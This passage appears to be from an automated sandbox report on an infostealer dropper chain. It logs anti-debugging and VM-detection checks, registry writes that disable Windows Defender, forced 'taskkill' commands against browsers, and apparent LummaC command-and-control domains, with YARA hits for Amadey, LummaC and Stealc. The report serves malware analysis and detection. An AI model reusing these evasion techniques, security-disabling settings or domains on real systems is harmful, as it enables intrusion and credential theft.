Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1072	Thread sleep time: -720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 5000	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 2828	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 7624	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 6168	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 7412	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 7768	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 7776	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 2180	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 7760	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 7748	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 7756	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe TID: 3740	Thread sleep count: 203 > 30
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe TID: 3740	Thread sleep time: -1218000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe TID: 2088	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 5236	Thread sleep count: 665 > 30
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 5236	Thread sleep time: -1330665s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 940	Thread sleep count: 663 > 30
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 940	Thread sleep time: -1326663s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 5408	Thread sleep count: 644 > 30
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 5408	Thread sleep time: -1288644s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 6744	Thread sleep count: 4944 > 30
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 6744	Thread sleep time: -9892944s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 6112	Thread sleep count: 687 > 30
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe TID: 6112	Thread sleep time: -1374687s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 6120	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe TID: 3600	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000002.00000002.1849222343.0000000001173000.00000040.00000001.01000000.00000007.sdmp, d657e56348.exe, d657e56348.exe, 00000007.00000002.2794299778.0000000000EE5000.00000040.00000001.01000000.00000009.sdmp, d657e56348.exe, 00000007.00000002.2810109791.0000000006407000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000002.2809093760.0000000005F93000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d657e56348.exe, 00000007.00000002.2795985710.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: d657e56348.exe, 00000009.00000003.2835542410.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__r<x
Source: d657e56348.exe, 00000007.00000002.2795985710.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: d657e56348.exe, d657e56348.exe, 00000007.00000003.2726065382.0000000001348000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000002.2795985710.0000000001348000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000002.2795985710.000000000131B000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2834914983.000000000179B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2680724883.00000283B27E0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2680724883.00000283B27FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001B.00000002.2683792971.00000283BC8A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: file.exe, 00000000.00000002.1814368058.0000000000883000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1842157449.0000000001173000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1849222343.0000000001173000.00000040.00000001.01000000.00000007.sdmp, d657e56348.exe, 00000007.00000002.2794299778.0000000000EE5000.00000040.00000001.01000000.00000009.sdmp, d657e56348.exe, 00000007.00000002.2810109791.0000000006407000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000002.2809093760.0000000005F93000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05120F16 rdtsc

0_2_05120F16

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Code function: 7_2_00D3E470 LdrInitializeThunk,

7_2_00D3E470

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 7208c9365d.exe PID: 7500, type: MEMORYSTR

LummaC encrypted strings found

Source: d657e56348.exe	String found in binary or memory: p3ar11fter.sbs
Source: d657e56348.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: d657e56348.exe	String found in binary or memory: p10tgrace.sbs
Source: d657e56348.exe	String found in binary or memory: peepburry828.sbs
Source: d657e56348.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe "C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe "C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe "C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe "C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe "C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 9ef14397f2.exe, 0000000B.00000002.2598795487.0000000000492000.00000002.00000001.01000000.0000000B.sdmp, 9ef14397f2.exe, 00000025.00000000.2658570249.0000000000492000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe	Binary or memory string: 4Program Manager
Source: d657e56348.exe, d657e56348.exe, 00000007.00000002.2794299778.0000000000EE5000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.1814368058.0000000000883000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1842157449.0000000001173000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1849222343.0000000001173000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: 4Program Manager
Source: d657e56348.exe, d657e56348.exe, 00000007.00000002.2809093760.0000000005F93000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: _%Program Manager

Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: d657e56348.exe, 00000007.00000003.2532179256.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2531839331.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2532226694.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2679480619.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2687126305.00000000017FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1814294358.0000000000681000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1774197561.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1802564632.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1842083590.0000000000F71000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1801290640.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2294665759.0000000005560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1848628613.0000000000F71000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 9ef14397f2.exe PID: 344, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d657e56348.exe PID: 7128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d657e56348.exe PID: 7712, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

